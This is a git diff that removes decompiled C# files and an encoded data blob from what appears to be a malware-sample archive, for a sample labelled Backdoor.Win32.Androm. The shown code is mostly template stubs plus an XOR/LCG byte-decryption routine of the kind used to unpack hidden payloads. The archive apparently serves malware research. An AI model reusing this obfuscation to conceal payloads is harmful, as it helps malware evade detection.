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 - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs deleted file mode 100644 index e81b053d..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0002 : ApplicationBase -{ -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs deleted file mode 100644 index 28d696cc..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0002 .cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:   -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -internal static class \u0002\u2000 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs deleted file mode 100644 index 27035561..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003.cs +++ /dev/null @@ -1,21 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: mlw, Version=5.4.2.6, Culture=neutral, PublicKeyToken=null -// MVID: 968ED84C-4CC9-4699-A4B5-2702B06E186C -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -[GeneratedCode("MyTemplate", "8.0.0.0")] -[EditorBrowsable(EditorBrowsableState.Never)] -internal sealed class \u0003 : Computer -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public \u0003() - { - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/_0003 .cs deleted file mode 100644 index 39983b00..00000000 --- 